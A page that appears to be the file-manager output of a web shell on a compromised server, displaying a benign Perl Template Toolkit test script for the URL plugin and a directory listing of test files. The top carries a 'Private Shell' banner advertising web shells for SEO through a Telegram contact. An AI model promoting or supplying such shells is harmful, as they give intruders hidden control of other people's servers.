����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#============================================================= -*-perl-*-
#
# t/url.t
#
# Template script testing URL plugin.
#
# Written by Andy Wardley <abw@wardley.org>
#
# Copyright (C) 2000 Andy Wardley. All Rights Reserved.
#
# This is free software; you can redistribute it and/or modify it
# under the same terms as Perl itself.
#
# $Id$
#
#========================================================================
use utf8;
use strict;
use lib qw( ../lib );
use Template;
use Template::Test;
use Template::Plugin::URL;
$^W = 1;
$Template::Test::DEBUG = 0;
my $urls = {
product => {
map {
$_->{ name }, Template::Plugin::URL->new(undef, # no context
$_->{ url },
$_->{ args });
}
(
{
name => 'view',
url => '/product',
},
{
name => 'add',
url => '/product',
args => { action => 'add' },
},
{
name => 'edit',
url => '/product',
args => { action => 'edit', style => 'editor' },
},
),
},
};
my $vars = {
url => $urls,
sorted => \&sort_params,
no_escape => sub { $Template::Plugin::URL::JOINT = '&' },
};
test_expect(\*DATA, { INTERPOLATE => 1 }, $vars);
# url params are constructed in a non-deterministic order. we obviously
# can't test against this so we use this devious hack to reorder a
# query so that its parameters are in alphabetical order.
# ------------------------------------------------------------------------
# later note: in adding support for parameters with multiple values, the
# sort_params() hacked below got broken so as a temporary solution, I
# changed teh URL plugin to sort all params by key when generating the
# URL
sub sort_params {
my $query = shift;
my ($base, $args) = split(/\?/, $query);
my (@args, @keys, %argtab);
print STDERR "sort_parms(\"$query\")\n" if $Template::Test::DEBUG;
@args = split('&', $args);
@keys = map { (split('=', $_))[0] } @args;
@argtab{ @keys } = @args;
@keys = sort keys %argtab;
@args = map { $argtab{ $_ } } @keys;
$args = join('&', @args);
$query = join('?', length $base ? ($base, $args) : $args);
print STDERR "returning [$query]\n" if $Template::Test::DEBUG;
return $query;
}
#------------------------------------------------------------------------
# test input
#------------------------------------------------------------------------
__DATA__
-- test --
[% USE url -%]
loaded
[% url %]
[% url('foo') %]
[% url(foo='bar') %]
[% url('bar', wiz='woz') %]
-- expect --
loaded
foo
foo=bar
bar?wiz=woz
-- test --
[% USE url('here') -%]
[% url %]
[% url('there') %]
[% url(any='where') %]
[% url('every', which='way') %]
[% sorted( url('every', which='way', you='can') ) %]
-- expect --
here
there
here?any=where
every?which=way
every?which=way&you=can
-- test --
[% USE url('there', name='fred') -%]
[% url %]
[% url(name='tom') %]
[% sorted( url(age=24) ) %]
[% sorted( url(age=42, name='frank') ) %]
-- expect --
there?name=fred
there?name=tom
there?age=24&name=fred
there?age=42&name=frank
-- test --
[% USE url('/cgi-bin/woz.pl') -%]
[% url(name="Elrich von Benjy d'Weiro") %]
-- expect --
/cgi-bin/woz.pl?name=Elrich%20von%20Benjy%20d%27Weiro
-- test --
[% USE url '/script' { one => 1, two => [ 2, 4 ], three => [ 3, 6, 9] } -%]
[% url %]
-- expect --
/script?one=1&three=3&three=6&three=9&two=2&two=4
-- test --
[% url.product.view %]
[% url.product.view(style='compact') %]
-- expect --
/product
/product?style=compact
-- test --
[% url.product.add %]
[% url.product.add(style='compact') %]
-- expect --
/product?action=add
/product?action=add&style=compact
-- test --
[% url.product.edit %]
[% url.product.edit(style='compact') %]
-- expect --
/product?action=edit&style=editor
/product?action=edit&style=compact
-- test --
[% CALL no_escape -%]
[% url.product.edit %]
[% url.product.edit(style='compact') %]
-- expect --
/product?action=edit&style=editor
/product?action=edit&style=compact
-- test --
[% USE url('/cgi-bin/woz.pl') -%]
[% url(utf8="Naïve Unicode") %]
-- expect --
/cgi-bin/woz.pl?utf8=Na%C3%AFve%20Unicode
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| lib | Folder | 0755 |
|
|
| test | Folder | 0755 |
|
|
| vmethods | Folder | 0755 |
|
|
| README | File | 3.1 KB | 0644 |
|
| anycase.t | File | 2.16 KB | 0644 |
|
| args.t | File | 2.41 KB | 0644 |
|
| assert.t | File | 2.53 KB | 0644 |
|
| base.t | File | 3.58 KB | 0644 |
|
| binop.t | File | 4.82 KB | 0644 |
|
| block.t | File | 2.71 KB | 0644 |
|
| block_duplicate.t | File | 476 B | 0644 |
|
| blocks.t | File | 2.2 KB | 0644 |
|
| capture.t | File | 1.59 KB | 0644 |
|
| case.t | File | 1.46 KB | 0644 |
|
| chomp.t | File | 7.71 KB | 0644 |
|
| compile1.t | File | 2.12 KB | 0644 |
|
| compile2.t | File | 2.67 KB | 0644 |
|
| compile3.t | File | 3.75 KB | 0644 |
|
| compile4.t | File | 2.38 KB | 0644 |
|
| compile5.t | File | 3.28 KB | 0644 |
|
| config.t | File | 6.46 KB | 0644 |
|
| constants.t | File | 5.07 KB | 0644 |
|
| context.t | File | 5.87 KB | 0644 |
|
| datafile.t | File | 1.81 KB | 0644 |
|
| date.t | File | 6.73 KB | 0644 |
|
| date_offset.t | File | 2.17 KB | 0644 |
|
| date_utf8.t | File | 1.33 KB | 0644 |
|
| debug.t | File | 3.86 KB | 0644 |
|
| directive.t | File | 4.76 KB | 0644 |
|
| directry.t | File | 5.48 KB | 0644 |
|
| document.t | File | 3.58 KB | 0644 |
|
| dumper.t | File | 1.47 KB | 0644 |
|
| error.t | File | 953 B | 0644 |
|
| evalperl.t | File | 3.73 KB | 0644 |
|
| exception.t | File | 1.52 KB | 0644 |
|
| factory.t | File | 1.4 KB | 0644 |
|
| file.t | File | 2.87 KB | 0644 |
|
| fileline.t | File | 3.16 KB | 0644 |
|
| filter.t | File | 17.74 KB | 0644 |
|
| foreach.t | File | 10.31 KB | 0644 |
|
| format.t | File | 1.78 KB | 0644 |
|
| html.t | File | 2.52 KB | 0644 |
|
| image.t | File | 2.22 KB | 0644 |
|
| include.t | File | 6.04 KB | 0644 |
|
| iterator.t | File | 3.67 KB | 0644 |
|
| leak.t | File | 5.01 KB | 0644 |
|
| list.t | File | 4.41 KB | 0644 |
|
| load_order_vmethods_stash.t | File | 192 B | 0644 |
|
| macro.t | File | 2.93 KB | 0644 |
|
| math.t | File | 1.22 KB | 0644 |
|
| math_rand.t | File | 476 B | 0644 |
|
| meta.t | File | 881 B | 0644 |
|
| mtime-zero.t | File | 1.04 KB | 0644 |
|
| object.t | File | 7.23 KB | 0644 |
|
| outline.t | File | 2.29 KB | 0644 |
|
| outline_line.t | File | 971 B | 0644 |
|
| output.t | File | 2.66 KB | 0644 |
|
| parser.t | File | 4.74 KB | 0644 |
|
| parser2.t | File | 981 B | 0644 |
|
| plugins.t | File | 6.12 KB | 0644 |
|
| plusfile.t | File | 1.91 KB | 0644 |
|
| pod.t | File | 2.05 KB | 0644 |
|
| prefix.t | File | 1.46 KB | 0644 |
|
| proc.t | File | 867 B | 0644 |
|
| process-relative.t | File | 2.05 KB | 0644 |
|
| process.t | File | 1.88 KB | 0644 |
|
| process_dir.t | File | 1.84 KB | 0644 |
|
| provider.t | File | 11.08 KB | 0644 |
|
| ref.t | File | 1.63 KB | 0644 |
|
| scalar.t | File | 2.56 KB | 0644 |
|
| service.t | File | 5.07 KB | 0644 |
|
| skel.t | File | 947 B | 0644 |
|
| stash-xs-unicode.t | File | 2.03 KB | 0644 |
|
| stash-xs.t | File | 8.42 KB | 0644 |
|
| stash.t | File | 7.91 KB | 0644 |
|
| stashc.t | File | 1.6 KB | 0644 |
|
| stop.t | File | 2.72 KB | 0644 |
|
| strcat.t | File | 758 B | 0644 |
|
| strict.t | File | 1.52 KB | 0644 |
|
| string.t | File | 7.38 KB | 0644 |
|
| switch.t | File | 3.83 KB | 0644 |
|
| table.t | File | 2.68 KB | 0644 |
|
| tags.t | File | 3.63 KB | 0644 |
|
| template.t | File | 1.49 KB | 0644 |
|
| text.t | File | 2.89 KB | 0644 |
|
| throw.t | File | 1.94 KB | 0644 |
|
| tiedhash.t | File | 5.28 KB | 0644 |
|
| trace_vars.t | File | 1.11 KB | 0644 |
|
| try.t | File | 9.83 KB | 0644 |
|
| unicode.t | File | 4.55 KB | 0644 |
|
| url.t | File | 4.06 KB | 0644 |
|
| vars.t | File | 11.36 KB | 0644 |
|
| varsv1.t | File | 8.96 KB | 0644 |
|
| view.t | File | 17.43 KB | 0644 |
|
| while.t | File | 3.18 KB | 0644 |
|
| wrap.t | File | 2.63 KB | 0644 |
|
| wrapper.t | File | 3.95 KB | 0644 |
|
| zz-plugin-cycle.t | File | 1.6 KB | 0644 |
|
| zz-plugin-leak-gh-213.t | File | 2.77 KB | 0644 |
|
| zz-plugin-leak-rt-46691.t | File | 2.95 KB | 0644 |
|
| zz-plugin-leak.t | File | 2.02 KB | 0644 |
|
| zz-pmv.t | File | 1.15 KB | 0644 |
|
| zz-pod-coverage.t | File | 1.64 KB | 0644 |
|
| zz-pod-kwalitee.t | File | 776 B | 0644 |
|
| zz-stash-xs-leak.t | File | 1.59 KB | 0644 |
|
| zz-url2.t | File | 3.71 KB | 0644 |
|